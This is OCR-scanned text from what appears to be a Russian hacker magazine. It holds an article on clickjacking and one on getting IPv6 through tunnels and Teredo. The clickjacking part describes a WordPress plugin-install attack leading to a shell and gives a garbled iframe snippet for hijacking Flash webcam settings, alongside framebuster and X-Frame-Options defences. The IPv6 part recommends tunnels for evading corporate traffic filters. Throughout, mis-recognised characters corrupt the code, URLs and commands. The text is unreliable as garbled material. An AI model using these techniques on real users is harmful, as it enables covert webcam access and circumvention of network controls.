расширения нажать на кнопку ІпзІаІІ ІМоѵѵ (как, например, в Рігеіох). 
Открыть страницу для установки нужного расширения не про- 
блема. Линк имеет стандартный вид ІтІ:1:р://шпсІрпе55/іл/р-асІтіп/ 
р1и§іп-іп5Іа11фбр?1аЬ=р1и§іп-іп^огта^оп&р1и§іп=ѵ\/р-§а11егу- 
гетоіе, где в качестве параметра ріидіп указывается необходимое 
расширение. Получается, ничего не стоит подгрузить эту стра- 
ницу в невидимый Итате и вынудить жертву нажать на заветную 
кнопку ІпзІаІІ ІМоѵѵ. Всего один клик — классический кликджекинг. 
Правда, расширение таким образом лишь устанавливается, но не 
активируется (не начинает работу). Не беда, зато мы точно знаем, 
что файлы аддона (распространяемые в виде гір-архива] распако- 
вываются в строго определенную папку и становятся доступными 
через следующий II РІ_: И**р://ігагфге55/іф-соп*епѴр1и§іп5/. Тут 
начинается вторая часть истории. Какой плагин устанавливать, 
чтобы получить профит? Вариант первый — добавить в репозито- 
рий аддон с функционалом трояна. Вариант второй — найти уяз- 
вимый аддон и эксплуатировать его. Последнее оказалось проще, 
и Эндрю в своем РоС задействовал плагин ЭІісІеРгезз, в котором 
предварительно нашел эксплуатируемые Х55-уязвимости. Дальше 
уже дело техники, которое к кликджекингу имеет мало отношения. 
Однако подробности взлома (а для реализации атаки пришлось 
решить немало мелких загвоздок) доступны на сайте ресерчера 
( зесигііѵ-аззеззтепі.сот ). Защиту от кликджекинга разработчики 
ѴѴогсІРгезз внедрили лишь в версии 3.1.3 в мае 2011 года. 

ПРОДВИНУТЫЕ ТЕХНИКИ КЛИКДЖЕКИНГА 

Несмотря на впечатляющий результат (все-таки был получен шелл!), 
в ходе атаки использовалась самая банальная вариация сіісіфскіпд- 
атаки. Известны намного более изящные вариации. Злоумышленники 
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СДишЛігкІтЛР Р ^ сх\\@ Сли5«і\іпгі№л\Р«кіор\д.., * 



\ѴогсІРге§$.ог§ Ьо§іп Ра§е Іп А Ргаше 



ТЫ$ сопбеп* саппоі: Ье сіі&ріауесі іп а Ігате 

То іп.еі’р ргоіесі іЬе аесипіу оПп*огтаііоп уои епіег іто гнія 
ѵѵеЬвііе. *Ье риЫІБбіег оГ \ь& сопіепі аоеа по! аііоѵы іі \с Ье 
дгсріауні іп а Ігате, 

ѴѵТіа! уои сап ігу: 

* О реп ІИІ5 сопгеп! іп а пеѵ* міпгіою 



Заголовок «Х-РРАМЕ-0РТІ0Ы5» препятствует загрузке страницы в Игате 

серьезно прокачали свои навыки в «угоне» кликов. Что еще можно 
сделать, чтобы расширить возможности для атаки? 

• Можно заставить пользователя не просто кликнуть, но еще и 
перетащитьнужныйэлемент. Например, перенести нужныйтекст 
в форму. Или еще вариант — перенести текст из іітате, тем самым 
получив возможность получить интересующие данные (скажем, 
скрытую информацию из социальных сетей). 

• Можно вынудить пользователя ввести данные в форму (к при- 
меру, пароль каккаунту). 

• Можно управлять скроллингом в іітате с помощью апсЬог- 
ссылок(Ьир://ехатрІе.сот/#5есІіоп), чтобы добиться еще более 
удобного позиционирования наложенного сайта. 

• Невидимый іітате может следоватьза курсором мыши (гдебы 
пользователь ни выполнил клик, он будет перехвачен), чтобы не 
заморачиваться с позиционированием. 

• Можно сделатьтак, чтобы пользователь выполнил последо- 
вательность кликов в нужных местах (часто какое-то действие 
требует не одного клика, а нескольких). К примеру, предложив 
ему сыграть в некое подобие игры. 

Последний трюк использовался в недавней нашумевшей атаке 
на РІазЬ РІауег, позволившей злоумышленнику получить доступ к 
камере и микрофону несмышленого посетителя ресурса. Остано- 
вимся на этом подробнее. 

НЕПРАВОМЕРНЫЙ ДОСТУП 
К МИКРОФОНУ И ВЕБ-КАМЕРЕ 

У РІазЬ'а, как известно, есть доступ к микрофону и камере компьютера, 
что используется многими веб-приложениями. Интересный момент в 
том, что настройки приватности РІазЬ РІауег'а можно вызывать прямо 
со страницы, нажав правой кнопкой мыши по 5ѴѴР-объекту и вы- 
брав меню «Параметры» или, еще проще, открыв специальный ІІРІ_ 
ѵѵѵѵѵѵ.тасготебіа.сот/зиррогШоситепІаІіоп/еп/ІіазЬрІаѵег/ЬеІр/ 
зеШпдз тападег02.Н*тІ . Идея использовать кликджекинг, чтобы по- 
лучить доступ к камере, впервые была реализована еще три года назад 
(демонстрация: ЬіМѵ/зРР50ѵ ). Автору ргооРоРсопсер* тогда удалось за- 
пихнуть целую страницу с настройками в іітате и сделать ее невидимой. 
Пользователю предлагалось сыграть в примитивную игру, а каждый 
клик приближал злоумышленника к активации веб-камеры и микро- 
фона. АбоЬе тогда очень быстро пофиксила возможность использовать 
кликджекинг, добавив защитный (так называемый ітатеЬизбпд) код в 
страницу настроек. С тех пор про эту историю все благополучно забыли. 

Повторить опыттрехлетней давности недавно удалось смыш- 
леному студенту из Стэнфорда. Парень подумал: «Хорошо, АбоЬе не 
разрешает вставлять в іітате страницу с настройками, но почему 
не пробовать «заифреймить» только 5ѴѴР-файл, который отвечает 
за настройки РІазЬ РІауег?» И черт подери, это сработало! 



КАК ЗАЩИТИТЬ ПРИЛОЖЕНИЕ 
ОТ КЛИКДЖЕКИНГА? 

Плохие новости в том, что многие популярные веб-приложения уязвимы к 
кликджекингу. Хорошая новость в том, что при желании кликджекинг легко 
предотвратить. Обычно для защиты используются специальные 35-сценарии, 
которые препятствуют отображению страницы во фрейме. Такие сниппеты кода 
называют ^гатебизіег или *гатекіІІег, а выглядят они всегда очень просто: 

ІТ (1=ор .1оса1=іоп != 1оса1:іоп) 

1=ор Лосаіііоп = зеІТ Лосаііоп; 

Обычно ^гатеЬиз^ег-скрипт состоит из условной конструкции, которая 
проверяет, не загружена ли страница во фрейме, и какого-то кода, который 
реализует контрдействие. К сожалению, подобную защиту несложно обойти, 
поэтому разработчики изобретают более сложные проверки, препятствующие 
проведению сіісіфскіпд-атак. Есть целое исследование ( ЫЫу/уУРЬДх ). где 
ресерчеры из Стэнфорда изучают различные виды ЩатеЬизІег-сниппетов и 
возможность их обхода. Самой достойной заготовкой для предотвращения 
атак, на их взгляд, является следующий сниппет: 

<Иеас1 > 

<з1:у1е> Ьосіу { сіізріау : попе; } ^</з1:у1е> 

</ІіеасІ> 

<ЬосІу> 



<зсгір1:> 

і-Г ( зеІ-Г == ѣор) ^ 

ѵаг Ѣ ІіеВосІу = сіоситепі: .§е1:Е1етеп1:5ВуТа§І\Іате( 1 Ьосіу ’ ) [0] ; 

1=ЬеВосІу . 5І=у1е . сіізріау = "Ыоск" ; 

> еізе { 

•бор. 1оса1:іоп = зеі-р. 1оса1:іоп : 

ь_ 

</зсгір1:> 

Как бы там ни было, ни одну из таких 35-заготовок нельзя считать 
стопроцентной защитой от кликджекинга. Как же быть? О втором и более 
надежном способе защиты от этого типа атак позаботились разработчики 
браузеров, которые ввели в использование специальный заголовок Х-РНАМЕ- 
0РТІ0М5. С его помощью можно указать, можно ли страницу загружать 
во фрейме или нет! Он появился еще в 2009 году, а к сегодняшнему дню 
поддерживается всеми популярными браузерами (Іпбегпе* Ехріогег, 5а*агі, 
Ріге^ох, СИготе). У Х-РРАМЕ-0РТІ0М5 есть два режима. Первый — ОЕРІѴ — 
полностью запрещает возможность загружать страницу во фрейме. Второй — 
5АМ ЕОРІѲІ N — разрешает «фреймить» страницу только сайтам с тем же 
доменным именем. Защитный заголовок потихоньку начинают использовать 
все крупные проекты (тот же ѴѴогсІРгезз защитился от кликджекинга именно 
с его помощью). Но и у этого подхода есть ограничения. Во-первых, заголовок 
нужно вставлять на каждой странице. Во-вторых, может возникнуть проблема 
с мультидоменными сайтами, где могут понадобиться ифреймы (текущая 
реализация Х-РПАМЕ-0РТІ0М5 не позволяет задать некий белый список 
разрешенных сайтов). И, в-третьих, заголовок легко может порезать прокси, 
через которую работает пользователь. 



КАЖДЫЙ КЛИК ПРИБЛИЖАЛ 
ЗЛОУМЫШЛЕННИКА 
К АКТИВАЦИИ ВЕБ-КАМЕРЫ 
И МИКРОФОНА 
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Угнать клики 




Доступ к веб-камере получен. Вновь. 

іидсііші_ге-Рпе5Іі5е1:1;іп§5(1:ітеои1:) { 
ыіпсіоы. 5е1:Тіт еои1:(-Рипсі:іопП ( 

$( '#5е1=1=іп^5 ' ) .етрІгуО .аррепсК^ ' <і-Ргате 
аііоміігапзрагепсу^'іігие" 5гс="Іі1:1:рБ : //млм.тасготе- 
сііа . сот/5иррог1:/Яа5Іір1ауег/5у5/5е1:1:іп§5тапа§ег2. 
5ы-р?сІе-Раи11:ТаЬ=рпіѵасу ,, ></і-Ргате> ' ) ) ; 
5е1=$е1=1=іп§5ѴІ5ІЬі1і1=у О ; 

}, *ітеои±); 

ь_ 

Этот до неприличия простой ход позволил обойти установлен- 
ный специалистами АсІоЬе защитный ^ѵа5сгірІ-код, препятствую- 
щий открывать настройки в іітате. Подгруженный с удаленного 
сервера 5ѴѴР-файл позволил управлять локальными настройками 
веб-камеры и микрофона. Интересно, сколько человек до этого 
момента догадались сделать точно так же, но молчали? :] Демон- 
страция эксплуатации уязвимости доступна в блоге автора ( ѵѵѵѵѵѵ. 
Іегозз.огдА/ѵеЬсат-зрѵ ), а сам код РоС'а, который заточен под 
Мас'овские версии Рігеіюх и Заіагі, выложен на ОііНиЬ ( дШиіЬ.сот/ 
(егоззА/ѵеЬсат-зрѵ ). Чтобы заточить его под другие ОС и браузеры, 
нужно лишь «поиграть» с параметрами 2 -іпбех и орасііу 5ѴѴР-файла, 
который находится в іітате. Забавно, что автор решился предать 
огласке уязвимость лишь спустя несколько недель с момента, 
когда отрапортовал об ошибке в АбоЬе. Ребята не очень торопились 
исправлять ситуацию. Зато компания быстро пофиксила баг (это 
произошло лишь в конце октября), кактолько такие известные из- 
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Настройки приватности РІазИ РІауег'а 

Дания какѴѴігесІ и Оігтосіо написали, что РІазЬ позволяет злоумыш- 
ленникам подсматривать за пользователями. 

СТРАШНО? 

Конечно, кликджекинг, несмотря на все ухищрения, едва ли может 
сравниться по опасности с 50І_і или, скажем, Х55. Однако он на- 
прямую касается пользователя (и, по сути, является дополнитель- 
ным инструментом к социальной инженерии). Уже по одной только 
этой причине неплохо бы понимать, как принципиально устроены 
такие атаки. Кстати, меры по защите от сІіск)аскіпд'а могут быть 
предприняты как разработчиками веб-приложений (читай врезку), 
так и самими пользователями. Расширение для РігеРох І\Іо5сгірІ 
Ыбопз.тогіііа.огд/ги/іігеіох/асісіоп/позсгірі ) уже давно имеет 
защиту от подобного вида атак. Опция СІеагСІіск препятствует 
нажатиям по невидимым элементам, которые потенциально могут 
быть подсунуты злоумышленником. Увы, для других браузеров по- 
добного расширения я не нашел. ПЕ 
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Капитан Улитка 




КАК ПОЛУЧИТЬ 
ІРѴ6-АДРЕС И ЗАЧЕМ 
ЭТО НУЖНО? 



ІРѵ& 

здесь и 
сейчас 



То, о чем давно говорили, 
случилось: свободные блокии 
ІРѵ4-адресов закончились. Но 
кого это волнует? Тебя? Меня? 

Да едва ли. Большинству 
пользователей нет никакого 
дела, как там обстоят дела со 
свободными ІРѵ4-адресами и 
когда провайдеры перейдут на 
ІРѵб. Скажу больше: последнее 
в ближайшее время не случится. 

Однако ІРѵб можно использовать 
уже сейчас и получить от этого 
не только ощущение гиковости, 
но и вполне осязаемую выгоду. 

Интеграция а ѴѴіпсіслѵ* 

0 Запускать цТоггапІ вместе с ѴѴіпсІсѵѵв [Ассоциировать в торрент- фа илами | 

И Запускать свернуто [у Автопроварка ассоциаций 

Определить свёртывание в настройкак [ '.-у Установить ІМДагатіо ~~| 

иТоггепІ позволяет включить Тегесіо прямо из своих настроек 



ЗАЧЕМ? 

Увеличенная емкость адресов за счет использования 128-битного адреса 
(2001:5с0:1400:а::68сІ) вместо 32-битного (65.148.151.124) — важнейшая 
особенность нового ІРѵб-протокола. Идея простая: ІРѵб-адресов с лихвой 
хватит всем, и уже никогда не придется их экономить. Но если уж честно, 
то Интернет отлично работает и сейчас, даже при наличии проблемы со 
свободными ІРѵ4-адресами. Единственное, что получат пользователи с 
переходом на ІРѵб, — это реальный ІР-адрес, который позволяет забыть 
ІМАТ как страшный сон. Но этот бонус можно получить и сейчас, как и не- 
которые другие плюшечки. Остановимся на этом подробнее. 

1. Статический реальный адрес для всех устройств, даже если ты 
работаешь через ІМАТ. Провайдеры активно используюттехнологию 
ІМАТ, благодаря которой ІРѵ4-адреса еще не закончились. На деле это 
означает, что за одним белым (реальным) ІР-адресом могут стоять 
сотни и тысячи устройств, которым выдан внутренний (серый) айпиш- 
ник. Работа через ІМАТ дает о себе знать: ты не можешь простым путем 
сделать сервис, доступный извне, а функционал многих приложений 
сильно страдает. Чтобы переслатьфайл в ІСО, один изучастников обме- 
на обязательно должен иметь белый ІР-адрес, и это лишьодин пример. 
Вместо того чтобы платить провайдеру за реальный айпишник (если 
это возможно), ты можешь получить его бесплатно в ІРѵб уже сейчас. 
Такую услугу, к примеру, предоставляюттуннельные брокеры, которые 
занимаются пробросом пакетов из ІРѵ4 в ІРѵб и обратно (подробнее о 
способах подключения ІРѵб читай ниже). В этом случае ты получаешь 
не только один реальный адрес, а целую подсеть ІРѵб. Таким образом, 
для любого компьютера или устройства, к которым нужен доступ извне, 
теперь можно выдать отдельный реальный ІРѵб-адрес и не заниматься 
пробросом портов на роутере. Причем выделенныйтебе диапазон ІРѵб 
привязывается ктвоему аккаунту, поэтому даже при смене провайдера 
(и соответственного ІРѵ4-адреса) все твои настройки сохранятся. 



І'.'І'.Т.'І 

• Сервис для 
проверки ІРѵб: 

ірѵ6-1е5і.сот/ 

вреесйеві 

• Провайдеры, 
нативно 

поддерживающие 

ІРѵб: 

ЬіІ.Іу/гНос4В 

• Классная 
инструкция по 
настройке БіхХБ 
туннеля для всей 
локальной сети: 
ЫЦу/уОЮАС 
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ІРѵб: здесь и сейчас 




Клиентская частыуннельного брокера 

2 . Возможность пробросить любой трафик через ІРѵб -туннель. 

Если ты находишься в корпоративной сети, где режется какой-то 
определенный тип трафика (например, ВіГГоггепі), но ІРѵб при этом 
пропускается, то этим грех не воспользоваться. Вычленить неже- 
лательный трафик в такой ситуации сложно, как бы этого ни хотел 
админ. Суди сам. Внутри ІР лежит ІЮР, внутри ІЮР лежит «завер- 
нутый» ІРѵб, в ІРѵб лежат ТСР- или ІЮР-пакеты, и уже в них может 
находиться тот самый нежелательный трафик. Каждый туннельный 
брокер, какмы позже выясним, использует свой способ«обертыва- 
ния» ІРѵб-пакетов в ІРѵ4 (точнее, ІЮРѵ4). Чтобы иметь возможность 
вырезать нежелательный трафик, ПО должно знать каждый из них. 
А что если завтра выйдет новый метод инкапсуляции ІРѵ6-Іо-ІРѵ4? 
Ктомуже, пакет ІРѵб может резаться на кусочки и передаваться 

в разных ІЮ Рѵ4- па кетах: чтобы обработать эту ситуацию, филь- 
трующему ПО необходимо иметь большой буфер, чтобы склеивать 
оригинальные пакеты для анализа. 

3. Более высокая скорость скачивания торрентов. Этот довод может по- 
казаться несущественным, но он особеннозатрагиваетнас — обычных 
пользователей. Как известно, Іоггепі-клиенты, которые заходятся 

за ІЧАТ'ом, могут«общаться»толькостеми клиентами, у которых 
есть белый ІР-адрес(и поэтому имеющими возможность принимать 
подключения). Получив ІРѵб-адрес, любой клиент может стать полно- 
ценнымучастником обмена и начать взаимодействовать с большим 
количеством сидеров и личеров. Тут надо понимать, что количество 
пользователей, которые работаютза ІЧАТ'ом, с каждым днем будет 
увеличиваться — таким образом провайдеры решают проблему сво- 
бодных ІР-адресов (а вовсе не путем перехода на ІРѵб, какэто может 
показаться на первый взгляд). Большинство популярныхіоггепі- 
кл иентов уже поддерживают ІРѵб: иТоггепТ АгигеизДгапзтіззіоп. 
Найти клиента в ІРѵб возможно по йНТ (работает не во всех клиентах), 
но лучше всего, если новый протокол поддерживаеттрекер. В про- 
токол ответа трекера добавлено новое поле реегзб, где в бинарном 
виде передается списокадресов, по 1 8 байт (1 6 — адрес, 2 — порт). 



Соппесііоп 51а1и$ 

ТиппеІ [піогггнйоп 

Подключение по локальней сети 4 
ІРѵб-іп-ІЮР-ІРѵ4 ТиппеІ (ПАТ ТгаѵеггаІ) 
Ш4845П23 
2001 Ю5 с01400:000а :0400:000с:0000:00с7 
81Л71.7212 

2001 Ю5 с0:1400:000а :0000^0000:0000:00сб 
йегѵег АеЮге&і: а п о п- аеп Легй а т.Сгеепеіб . пеі 

Мы за ЫАТ'ом. додоСЫЕЫТ использует ЫАТ ТгаѵегБаІ, чтобы создать туннель 



№Ьеп ЬоСЬ рпдСчигоІ* зг* гейт Ьгйипвг и№ 

ІРѵб 

Тсиг и«егпе( снѵпеСЮТі іі ІРѵб гавэЫе 

200 1 : 5с0: 1400 :а: : 684 

оодоб Іпс, 

І*і 

ДйгігіяКѵреі» 

бІоЬаІ Цпісаэі / Паііѵе ІРѵб 

Ѵоиг **егпеЕ даіпм&оп іі іРѵ-і сарэЫе 

62.148.151.123 

КІдеІе» 



Наш ІРѵб- и ІРѵ4-адреса. Как видишь, трафик идет через Канаду 

Правда, пока ІРѵб-пиров не очень много, но их количество постоянно 
растет. Поддержку нового протокола включили пока не все трекеры, 
но іЬерігаІеЬаѵ.ога и ірѵб.ппт-сІиЬ.ги — в этом списке. 

4 . Долговременные соединения. Для некоторых клиентов важно под- 
держивать соединение активным на протяжении долгого времени 
(«ни единого разрыва», ага). Например, чтобы не подключаться 
заново к игровому серверу, где изящно написанный ботбезустали 
«прокачивает» персонажа :). Некоторые провайдеры по разным 
причинам делают принудительный дисконнект раз в сутки. Избе- 
жать необходимости в переподключении к серверам позволяютте 
же самые брокерныетуннели. В то время как происходит перепод- 
ключение к провайдеру, ІРѵб-соединение остается активным. 

ВАРИАНТЫ ПОДКЛЮЧЕНИЯ 

Итак, главный вопрос — как начать использовать ІРѵб? Самый 
лучший расклад, но, увы, нереальный — это когда ІРѵб-адрес вы- 
даст тебе сам провайдер. В этом случае систему, во-первых, проще 
всего настроить, во-вторых, это гарантирует минимальный пинг (нет 
посредников, не выполняются дополнительные операции по «обе- 
ртыванию» данных), и, в-третьих, он банально надежнее других. Ты 
просто подключаешься к провайдеру, и все — так же, как и в случае 
с ІРѵ4. Увы, провайдер, предоставляющий ІРѵб-адрес, в России, да и 
в целом по миру, — явление практически фантастическое. Счет пока 
идет на десятки во всем мире. На это есть много причин. Нормальной 
поддержки нового протокола нет не только во многом клиентском 
оборудовании, но и даже в серверном. Даже если производитель де- 
кларирует ІРѵб-совместимость, на практике она может работать очень 
косо. Провайдеры боятся и умеют считать деньги. Платить за ІРѵб как 
услугу клиенты не готовы (им это на фиг не надо), а перевод всего 
оборудования и персонала обойдутся в астрономическую сумму. Вот 
и продолжают провайдеры подсаживать клиентов на ІМАТ, чтобы уме- 
ститься в лимит ІРѵ4-адресов, и так, бесспорно, будет продолжаться 
в ближайшие годы. Нам же остается использовать альтернативные 
способы получения заветного ІРѵб. Их несколько. 



Ѵігіиа! ТиппЫіпд Асіаріег 
ТиппеІ Мо4е: 
іосіі Епфдіпі 

Нетере Епфоіпі АсМгенк: 
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РС20ЫЕ 



ТУННЕЛЬНЫЕ БРОКЕРЫ 



бодопеІ/РгеепеІб 

додопеі.додоб.сот 

Один из самых доступных туннельных брокеров, предлагающий 
различные типы туннелей, в том числе проприетарный протокол 
для обхода ИАТ. Подключение осуществляется через удобный 6111- 
клиент, при этом предоставляется /56-подсеть для других устройств 
в сети. Проверив полученный ІРѵб, становится ясно, что серверы 
находятся в Канаде, а это непременно создает задержки. Однако 
других точек входа нет. 



0 

0 

0 

Ф 



Ваш гтубгнкнэіі іРѵ4 адрес, юрмт», 62, 1 48 1 5 1 12Э 



Ваш ГгуйГнічнріі ИМЗ адрес, МрОЯТ*), гМ 1 :М. 140 Оа:. 6 М 
Вероятно. ваш ІРѵб лдеОДдо Тгаепйб 



года У вас ие общается нирйкин проблем е текущим 



браузером е дам™ меле Щр&ъй 

Ваш браузер блокирует адреса проверок Мы попробуем довести апьтернативнью проварки, ноомн, 
возможно, нс определят правильно ваш ІР шрк Это может сказаться на качестве юшик советов. 

іяодве бзд,' 



Ваш браузер »бпакирдванщр;йб5ѵ6п5.ие5Мрѵв гаетй васаби**? 



0 

0 



ГТщцпрѳвяаенГ у вас работает и іРѵ4. и |Рѵб доступ В стучае когда сл&т доступен по ІРѵ$. ваш браузер без 
Проблем получит к нему доступ. Ваш браузер предпочитает ІРЛ когда есть выбор моду іРѵ-з и ІРѵб ( зто 
ожидаемое поведение* 

Ваш РМ5 сервер (возможно, предоставляем^ вашим прора^двроы) имеет дпетуп к ІРЛ интернету 



10/10 

10/10 



стабиіьность II готовность <Рѵ4 Соея»*ения, когда рдАт иСпрчоует и ІРѴ4. и ІРѴб 



сіабшъткк гь н і'о(йвноегь ІРѵб Соедіыенин, кем да сайі ікішпьзуег ІйПыв ІРѵб 



Просмотреть результаты тестиговвния 



Ниггісапе Еіесігіс ІРѵб 

Отличный брокер, предоставляющий /48-подсеть ІРѵб-адресов. Плюс 
в том, что сервис имеет два десятка разбросанных по миру серверов 
(США, Великобритания, Германия, Франция, Нидерланды, Гонконг, 
Канада], а значит, можно выбрать туннельный сервер с минимальной 
для себя задержкой. Минус в том, что брокер поддерживаеттолько 
статические туннели, для создания которых тебе обязательно нужен 
реальный ІР. 

БіхХБ 

ѵѵѵѵѵѵ.зіххз.пеі: 

АУІУА-туннель, предлагаемый этим брокером, пожалуй, один 
из наиболее достойных вариантов подключения к ІРѵб. Сервис 
может похвастаться разными типами туннелей (необязательно 
статических) и более 40 географически разбросанными серверами 
для подключения. Но будь готов к трудностям: все аккаунты проходят 
жесткую модерацию (желательно даже указывать свой аккаунт в 
Ыпкебіп], что может занять некоторое время. Рекомендую прочитать 
«10 шагов к ІРѵб» (ЫЦу/зпУМш). 



61о4 

Если у тебя есть белый ІРѵ4-адрес, то механизм 61о4 — определенно 
заслуживающий внимания вариант для приобщения к ІРѵб. В двух 
чертах расскажу, в чем суть. Для того чтобы 61о4-хосты могли отправ- 
лять пакеты в другие ІРѵб-сети, были созданы 61о4-ретрансляторы, 
которые подключены как к ІРѵ4-сети, так и к ІРѵб-сети. Когда 6104- 
хосту нужно отправить ІРѵб-пакет, он отправляет его по так назы- 
ваемому апусазі-адресу 192.88.99.1. Ретранслятор, получив данные 
61о4, извлекает ІРѵб-пакет и отправляет его по ІРѵб-сети. Звучит 
довольно просто, использовать подход еще проще. Ты поднимаешь 
61о4-интерфейс и настраиваешь адрес в формате «2002:ххуу:22и», 
где «хх.уу. 22 .и» — это ІРѵ4-адрес, записанный в шестнадцатеричном 
виде, а маршрутизацию настраиваешь так, чтобы все исходящие 
пакеты «уходили» на 192.88.99.1. Вот и вся настройка. Плюс 61о4 в 
том, что связь между двумя пользователями 61о4 осуществляется не 
через туннельный сервер, а напрямую, с нулевой дополнительной 
задержкой, при этом самый близкий шлюз выбирается автомати- 
чески. Не нужно регистрироваться в каких-то системах, а и без того 
несложный процесс конфигурирования становится еще проще за счет 
автоматических генераторов настроек. Но есть важный момент. Если 
у тебя динамический ІР-адрес, то при его смене будет меняться и 
ІРѵб. Поэтому удобнее всего 61о4 использовать со «статикой». Правда, 
эта услуга обычно предоставляется провайдером на платной основе, 
и мне, к примеру, обходится в 200 рублей в месяц. 

Тегесіо 

Многие пользователи не имеют не только статического, но и вообще 
белого ІР-адреса, постоянно работая через ІМАТ. В этом случае исполь- 
зовать 61о4 уже не выйдет — вместо этого можно задействовать тех- 



Тщательная проверка совместимости с ІРѵб-сетями 

нологию Тегесіо. Протокол передает ІРѵб-пакеты через сети ІРѵ4 путем 
их инкапсуляции в ІЮР-дейтаграммы — в частности, через устройства, 
использующие ІМАТ. Технология была разработана в МісгозоИ и очень 
проста в настройке, причем не только под ѴѴіпсІоѵѵз, но и піх-системы. 
Если ты используешь иТоггепІ, то можешь прямо в настройках про- 
граммы найти кнопку «ІпзІаІІ ІРѵб/ТегесІо» (разработчики иТоггепІ не 
только реализовали поддержку ІРѵб, но и всячески продвигают исполь- 
зование нового протокола). Поднять Тегесіо «ручками» несложно — 
всего двумя командами (речь идет о ѴізІа/ѴѴіпсІоѵѵз 7): 

ірѵб іпзііаіі 

пеІіБІі ігѵЬ ірѵб зеі: Тегесіо сІіеігЕ 

Под никсами же надо поднять одну из альтернативных (и, как пра- 
вило, открытых) реализаций протокола Тегесіо (например, Мігесіо): 

зисіо арі:-§еі: іпз ііаіі ш ігесіо 



ЧТО НАДО ЗНАТЬ ОБ ІРѴ6 

1. ІРѵб — это, прежде всего, огромное 128-битноеадресное про- 
странство. ІРѵб-адрессостоитиз восьми групп шестнадцатеричных 
символов: например, 2001 :0бЬ8:11аЗ:09сІ7:Ш4:8а2е:07а0:765сІ. 

Если одна или более группы равны 0000, то их можно заменить 
двоеточием. 2001:0сІЬ8:0000:0000:0000:0000:ае21:асИ 2 записы- 
вается как 2001 :сІЬ8::ае21 :асІ1 2. Если захочешь перейти на сайт, 
используя ІРѵб-адрес,тоегонеобходимо взять в квадратные 
скобки: Шр://[2001:с1Ь8::ае21:ас11 2]. Запомнить та кой адрес не- 
реально, поэтому в ІРѵб-сетях еще большее значение будут иметь 
0145-серверы. 

2. Из-за того, что в наличии теперь есть та кое адресное простран- 
ство, ІРѵбуходитотпривычного понятия подсетей, которое 
использовалось в ІРѵ4. Маски теперь задаются тол ько/ргеПх'ам и 
(СЮР/ѴІ.5М). В ІРѵб каждая подсеть — это /64. Цель — уйти от раз- 
личного размера подсетей. ІРѵб/64-подсети хватит для того, что- 
бы покрытьвсеустройства, которыетолько могутбытьдоступны в 
условиях физической доступности. Для домашних пользователей 
выдается подсеть/48. 

3. Никакого ІМАТ'а. С отменой пресловутойтрансляции сетевых 
адресов уйдут проблемы в работе многих сетевых протоколов, ко- 
торые используются для передачи голоса (ѴоІР), в сетевых играх, 
Р2р-решениях. В большинстве случаев можно забыть о форвар- 
динге портов. 
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ІРѵб: здесь и сейчас 



Файлы 


0 

1 

-Ѳ- 

о 


(ш Пиры 


Рейтинги 


Трекеры 


Части 


Скорость 


Отчёты 





ІР- адрес 


Клиент 


Флаги 


% 


Приём 


■93100 .186. 155, рооІ.5кпіги [иТР] 


рТоггепІ 2.2 


о и? 


100.0 


703.8 кВ/5 


178.255.148.35 


1іЬТоггеп40.12.б 


0 


100.0 


361.3 кВ/5 


2а00:2000:4008:3:224:7еЯ:!еО1;ее84 


ВіСГогпасІо/ОЗІ 


0 


100.0 


78.8 кВ/5 


2001:250:1401:3120:59іі1:58а:801сІ:с095 


рТоггеп* 1.8.5 


00 


45.7 


12.0 кВА 


ІШ94 -192-124-184 .іопеб.ЬйНеге.со.ик 


ВйТоггепі 5РК2.0 


0 


100.0 


0.7 кВ/5 



ІРѵб-пиры вторрентах — не редкость 



Не надо никаких регистраций: все работает, что называется, 

«из коробки». Все клиенты, подключенные к Сети аналогичным 
образом, соединяются друг с другом напрямую (Тегебо лишь по- 
могает обойти ограничения ІЧАТ). В таком случае практически от- 
сутствуют потери в скорости. Чего не кажешь про маршрутизацию 
трафика между Тегебо и нативным ІРѵб: так, данные легко могут 
идти через шлюзы, расположенные в США (шлюз по умолчанию 
можно изменить, в России наиболее эффективно использовать 
Іегебо.гетІаЬ.пеі). Это не единственный минус. Если в случае 
с 61о4 ты мог получить целый диапазон ІРѵб-адресов, которые 
далее раздать другим устройствам локалки, то в случае с Тегебо 
выдается только один адрес. Придется забыть даже о постоян- 
ном адресе: Тегебо-адреса каждый раз генерируются исходя из 
текущего айпишника и используемого ІЮР-порта, т. е. являются 
динамическими. Но хуже всего, что Тегебо может обойти не каж- 
дый ІЧАТ. Если после настройки не открывается проверочный сайт 
ірѵб.доодіе.сот, первым делом нужно набрать в консоли «пеізб іпі 
ірѵб зЬоѵѵ Іегебо». Сообщение «Ошибка: клиент за симметричным 
ІЧАТ» означает, что Тегебо ты использовать не сможешь. В таком 
случае остается последний (но от этого вовсе не самый худший) 
вариант — использовать туннельного брокера. 

Туннельный брокер 

Это, пожалуй, наиболее универсальный вариант, который подойдет 
как пользователям с белым ІРѵ4-адресом, так и работающим без 
него. Туннельный сервис, как несложно догадаться, предоставля- 
ет туннель в ІРѵб-сеть. Их довольно много ( Ьі1.1ѵА/Р4ѵѵХ8 ), причем 
каждый из них может иметь несколько шлюзов в разных странах 
мира. Выбирать лучше всего ближайший, чтобы минимизировать 
задержки. Это предмет для экспериментов с утилитами ріпд и 
Ігасегоиіе, а также сервисов вроде ірѵб-іезі.сот . Помни: задержка 
до туннеля будет добавляться к времени передачи каждого ІРѵб- 
пакета, поэтому крайне важным условием для комфортной работы 
является минимальное значение пинга. Туннельный брокер, как 
правило, выдает не один, а целый диапазон ІРѵб-адресов. Важно, 
что они не меняются при смене твоего ІРѵ4-адреса и привязываются 
к твоему аккаунту. По этой причине большинство сервисов требует 
регистрацию (а некоторые и вовсе тщательнейшим образом подхо- 
дят к проверке данных, указанных при регистрации). Правда, новый 
адрес придется сообщать, но это несложно делать автоматически. 
При общей схожести применяемого подхода туннельные брокеры 
используют различные методы «обертки» ІРѵб в ІЮРѵ4 и потому 
предлагают различные варианты настройки подключения. Одним из 
наиболее простых (что называется, «для старта») является додоб/ 
Ргеепеіб [ додопеі. додоб. сот ). о котором мы поговорим ниже. 

НАСТРОЙКА ТУННЕЛЯ 

Практическая часть статьи, казалось бы, должна быть самой 
сложной, однако на деле настройка ІРѵб, как правило, не вызывает 



трудностей. Но создатели Ітеепеіб, предлагаемых компанией додоб, 
максимально упростили этот процесс. Брокер предлагает несколько 
типов туннелей: ІРѵб-іп-ІРѵ4 в нативном режиме (в случае прямого 
подключения к Сети, с реальным ІР), I Рѵб-іп-І Рѵ4 в режиме І\ІАТ 
ТгаѵегзаІ (также называется ІРѵ6-іп-ІЮР-І5-ІРѵ4), который будет 
